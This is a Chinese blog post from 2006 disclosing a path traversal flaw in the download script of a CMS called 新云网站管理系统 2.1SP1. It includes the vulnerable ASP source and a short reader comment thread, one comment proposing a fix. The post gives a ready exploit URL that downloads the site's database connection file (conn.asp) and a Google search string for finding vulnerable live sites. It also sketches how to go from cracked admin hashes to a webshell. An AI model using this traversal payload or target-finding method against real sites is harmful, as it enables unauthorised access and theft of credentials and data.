新云网站管理系统2.1SP1任意文件下载漏洞

文章首发 nsp内部论坛
信息来源：至尊宝的成长之路 FireFox's blog

flash/downfile.asp过滤不严导致可下载任意文件。
<% Dim url,strUrl,strPath url = Replace(Replace(Replace(Request("url"), "'", ""), "%", ""), "\", "/") //首先先进行一些字符的替换，'换成空，%也换成空，\换成/


If Len(url) > 3 Then
 If Left(url,1) = "/" Then
 Response.Redirect url //如果用户提交的url第一个字符是/，那直接转向url
 End If
 If Left(url,3) = "../" Then
 Response.Redirect url //同上，意思就是不给你用../跳转目录
 End If
 strUrl = Left(url,10)
 If InStr(strUrl, "://") > 0 Then //这个，汗·～～://不懂干什么用的
 Response.Redirect url
 End If
 If InStr(url, "/") > 0 Then
 strPath = Server.MapPath(".") & "\" & url //补充物理地址了
 strPath = Replace(strPath, "/", "\") //替换/为\呢
 Call downThisFile(strPath) //HOHO～～开始下载了
 Else
 Response.Redirect url
 End If
End If
Sub downThisFile(thePath)
 Response.Clear
 On Error Resume Next
 Dim stream, fileName, fileContentType

fileName = split(thePath,"\")(UBound(split(thePath,"\"))) Set stream = Server.CreateObject("adodb.stream") stream.Open stream.Type = 1 stream.LoadFromFile(thePath) Response.AddHeader "Content-Disposition", "attachment; filename=" & fileName Response.AddHeader "Content-Length", stream.Size Response.Charset = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite stream.Read Response.Flush stream.Close Set stream = Nothing End Sub %>
似乎是url都处理掉了，是不可能用../跳转目录的。但是，他判断../很奇怪，就判断url的前三个字符而已。所以，嘿嘿！前三个字符不能是../，难道我后面不能是吗？于是构造一下url参数为"uploadfile/../../conn.asp"，于是总体的地址就是http://127.0.0.1/flash/downfile.asp?url=uploadfile/../../conn.asp 。嘿嘿～～conn.asp文件下载下来了吧。
这套整站程序用的人还是挺多的，我甚至看到有两个黑客类的网站使用它。但是不约而同的是这个漏洞都存在。可以说，这个漏洞是通杀现在网上所有使用新云的系统的，连10.18出来的sp1都没补上。但是，很多大站都是使用sql版本的，而且主机又屏蔽了1433端口，于是，利用就成了问题。对于access 的系统，只要后台没改名，而且md5密码可以通过www.cmd5.com来查询，后台又有着数据库备份的功能，获得webshell是不成问题的。

ACCESS和SQL版通吃。
Google搜索关键字 "关于本站 – 网站帮助 – 广告合作 – 下载声明 – 友情连接 – 网站地图 – 管理登录"
把flash/downfile.asp?url=uploadfile/../../conn.asp提交到网站根目录。就可以下载conn.asp，以源码，软件等下载站居多。

楼被抢了 4 层了... 抢座、Rss 2.0或者 Trackback

h4x0r | 2006-11-03 09:28 | #

文章首发 nsp内部论坛。 :oops:
请注意下

回复该留言
鬼仔 | 2006-11-03 11:07 | #

nsp内部论坛？
地址是啥？偶去瞅瞅

回复该留言
Evilw0rM | 2006-11-06 05:53 | #

If InStr(strUrl, "../") > 0 Then
Response.Redirect url
End If

如果加这个呢? :???:

回复该留言
mmzui | 2007-08-21 12:24 | #

至尊宝大哥的BLOG关了很久了
很怀念

回复该留言

鬼仔's Blog